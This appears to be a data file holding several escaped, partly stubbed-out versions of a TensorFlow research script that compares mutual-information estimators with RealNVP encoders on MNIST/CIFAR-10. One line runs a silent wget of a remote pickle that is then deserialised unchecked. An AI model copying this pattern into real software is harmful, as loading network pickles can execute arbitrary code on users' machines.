testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\ndef run_all_experiments():\n tf.compat.v1.reset_default_graph()\n wpc_loss = lambda x: -infonce_lower_bound(x)\n cpc_loss = lambda x: -infonce_lower_bound(x)\n drfc_loss = lambda x: -our_lower_bound(x)\n pcc_loss = lambda x: -js_fgan_lower_bound(x)\n skew_pcc_loss = lambda x: -skew_js_fgan_lower_bound(x)\n ls_pcc_loss = lambda x: -label_smooth_pcc(x)\n pre_ls_pcc_loss = lambda x: -predict_smooth_pcc(x)\n adap_pred_smooth_pcc_loss = lambda x: -adap_pred_smooth_pcc(x)\n adap_label_smooth_pcc_loss = lambda x: -adap_label_smooth_pcc(x)\n loss_fcts = {'pcc': pcc_loss, 'cpc': cpc_loss, 'ls_pcc': ls_pcc_loss,\n 'prels_pcc': pre_ls_pcc_loss, 'adap_pred_pcc':\n adap_pred_smooth_pcc_loss, 'adap_label_pcc': adap_label_smooth_pcc_loss\n }\n kwargs = dict(shift_only=True, activation=lambda x: tf.nn.relu(x),\n kernel_initializer=tf.compat.v1.initializers.truncated_normal(\n stddev=0.0001), bias_initializer='zeros')\n nets = {'realnvp': lambda : (RealNVPBijector(DIMS // 2, n_couplings=30,\n hidden_layers=[512, 512], dense_kwargs=kwargs), RealNVPBijector(\n DIMS // 2, n_couplings=30, hidden_layers=[512, 512], dense_kwargs=\n kwargs))}\n critics = {'bilinear': lambda : BilinearCritic(feature_dim=DIMS // 2)}\n return run_sweep(nets, critics, loss_fcts, 'invertible', n_iters=21000,\n n_evals=21)\n\n\nif RUN_EXPERIMENTS:\n data_invertible = run_all_experiments()['df']\n data_invertible.to_pickle(RESULT_DIR)\nelse:\n os.system(\n 'wget -q -N https://storage.googleapis.com/mi_for_rl_files/mi_results.pkl'\n )\n data_invertible = pd.read_pickle('mi_results.pkl')\n data_invertible = data_invertible[data_invertible.exp_name == 'invertible']\n", "<import token>\n<assignment token>\nparser.add_argument('--dataset', default='mnist', type=str, help=\n 'cifar10 or mnist')\nparser.add_argument('--lr', default=0.0001, type=float, help='learning rate')\nparser.add_argument('--batch_size', default=100, type=int, help=\n 'mini batch size')\nparser.add_argument('--smoothing', default=0.01, type=float, help=\n 'label smoothing parameter')\nparser.add_argument('--output_dir', type=str, default='./runs', help=\n 'directory where the results will be stored')\n<assignment token>\nif not os.path.isdir(args.output_dir):\n os.mkdir(args.output_dir)\n<assignment token>\nif TFDS_NAME == 'mnist':\n DIMS = 784\nelif TFDS_NAME == 'cifar10':\n DIMS = 3072\n<assignment token>\ntf.keras.backend.clear_session()\n<assignment token>\n\n\ndef acti_func(x, a, b, c):\n x = tf.stop_gradient(x)\n alpha = tf.zeros_like(x)\n alpha = tf.where(x <= b, -a * x / b + a, alpha)\n alpha = tf.where((x > b) & (x < c), 0.0, alpha)\n alpha = tf.where(x >= c, a * x / (1 - c) + a * c / (c - 1), alpha)\n return alpha\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\ndef map_data(x_array, session, codes, data_ph, dims, batch_size=512):\n x_mapped = []\n for i in range(0, x_array.shape[0], batch_size):\n x_mapped.append(session.run(codes, feed_dict={data_ph: x_array[i:i +\n batch_size, :dims]}))\n return np.concatenate(x_mapped, axis=0)\n\n\ndef reduce_logmeanexp_nodiag(x, axis=None):\n batch_size = x.shape[0]\n logsumexp = tf.reduce_logsumexp(input_tensor=x - tf.linalg.tensor_diag(\n np.inf * tf.ones(batch_size)), axis=axis)\n if axis:\n num_elem = batch_size - 1.0\n else:\n num_elem = batch_size * (batch_size - 1.0)\n return logsumexp - tf.math.log(num_elem)\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\ndef nwj_lower_bound(scores):\n return tuba_lower_bound(scores - 1.0)\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\[email protected]\ndef skew_js_fgan_lower_bound(f):\n \"\"\"skewed js lower bound (true cross entropy)\"\"\"\n n = tf.cast(f.shape[0], tf.float32)\n alpha = 1 / n\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return alpha * first_term - (1 - alpha) * second_term\n\n\[email protected]\ndef label_smooth_pcc(f):\n \"\"\" pcc with label smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\[email protected]\ndef predict_smooth_pcc(f):\n \"\"\" pcc with predictor smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n pre_prob = (1.0 - args.smoothing) * pre_prob + args.smoothing / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\[email protected]\ndef adap_label_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n alpha = acti_func(pre_prob, a, b, c)\n new_labels = (1.0 - alpha) * labels + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(new_labels, pre_prob)\n\n\[email protected]\ndef adap_pred_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n alpha = acti_func(pre_prob, a, b, c)\n pre_prob = (1.0 - alpha) * pre_prob + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\ntf.compat.v1.reset_default_graph()\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\ndef load_data(split):\n return tfds.load(TFDS_NAME, data_dir='/public/wangxu/data/', split=split\n ).cache().map(map_func=map_fn).shuffle(1000)\n\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\n\n<assignment token>\ntf.compat.v1.reset_default_graph()\n<assignment token>\nprint('Fit on half the pixels: {}. It should be around 0.835.'.format(\n logistic_fit(x_train_noisy[:, :DIMS // 2], y_train, x_test_noisy[:, :\n DIMS // 2], y_test)))\n\n\ndef processed_train_data(dims, batch_size):\n dataset = load_data('train')\n dataset_batched = dataset.repeat().batch(batch_size, drop_remainder=True)\n get_next = tf.compat.v1.data.make_one_shot_iterator(dataset_batched\n ).get_next()\n features = get_next[FEATURE_INPUT]\n labels = get_next[FEATURE_LABEL]\n x_1, x_2 = tf.split(features, [dims, DIMS - dims], axis=-1)\n return x_1, x_2, labels\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\ndef run_all_experiments():\n tf.compat.v1.reset_default_graph()\n wpc_loss = lambda x: -infonce_lower_bound(x)\n cpc_loss = lambda x: -infonce_lower_bound(x)\n drfc_loss = lambda x: -our_lower_bound(x)\n pcc_loss = lambda x: -js_fgan_lower_bound(x)\n skew_pcc_loss = lambda x: -skew_js_fgan_lower_bound(x)\n ls_pcc_loss = lambda x: -label_smooth_pcc(x)\n pre_ls_pcc_loss = lambda x: -predict_smooth_pcc(x)\n adap_pred_smooth_pcc_loss = lambda x: -adap_pred_smooth_pcc(x)\n adap_label_smooth_pcc_loss = lambda x: -adap_label_smooth_pcc(x)\n loss_fcts = {'pcc': pcc_loss, 'cpc': cpc_loss, 'ls_pcc': ls_pcc_loss,\n 'prels_pcc': pre_ls_pcc_loss, 'adap_pred_pcc':\n adap_pred_smooth_pcc_loss, 'adap_label_pcc': adap_label_smooth_pcc_loss\n }\n kwargs = dict(shift_only=True, activation=lambda x: tf.nn.relu(x),\n kernel_initializer=tf.compat.v1.initializers.truncated_normal(\n stddev=0.0001), bias_initializer='zeros')\n nets = {'realnvp': lambda : (RealNVPBijector(DIMS // 2, n_couplings=30,\n hidden_layers=[512, 512], dense_kwargs=kwargs), RealNVPBijector(\n DIMS // 2, n_couplings=30, hidden_layers=[512, 512], dense_kwargs=\n kwargs))}\n critics = {'bilinear': lambda : BilinearCritic(feature_dim=DIMS // 2)}\n return run_sweep(nets, critics, loss_fcts, 'invertible', n_iters=21000,\n n_evals=21)\n\n\nif RUN_EXPERIMENTS:\n data_invertible = run_all_experiments()['df']\n data_invertible.to_pickle(RESULT_DIR)\nelse:\n os.system(\n 'wget -q -N https://storage.googleapis.com/mi_for_rl_files/mi_results.pkl'\n )\n data_invertible = pd.read_pickle('mi_results.pkl')\n data_invertible = data_invertible[data_invertible.exp_name == 'invertible']\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n\n\ndef acti_func(x, a, b, c):\n x = tf.stop_gradient(x)\n alpha = tf.zeros_like(x)\n alpha = tf.where(x <= b, -a * x / b + a, alpha)\n alpha = tf.where((x > b) & (x < c), 0.0, alpha)\n alpha = tf.where(x >= c, a * x / (1 - c) + a * c / (c - 1), alpha)\n return alpha\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\ndef map_data(x_array, session, codes, data_ph, dims, batch_size=512):\n x_mapped = []\n for i in range(0, x_array.shape[0], batch_size):\n x_mapped.append(session.run(codes, feed_dict={data_ph: x_array[i:i +\n batch_size, :dims]}))\n return np.concatenate(x_mapped, axis=0)\n\n\ndef reduce_logmeanexp_nodiag(x, axis=None):\n batch_size = x.shape[0]\n logsumexp = tf.reduce_logsumexp(input_tensor=x - tf.linalg.tensor_diag(\n np.inf * tf.ones(batch_size)), axis=axis)\n if axis:\n num_elem = batch_size - 1.0\n else:\n num_elem = batch_size * (batch_size - 1.0)\n return logsumexp - tf.math.log(num_elem)\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n 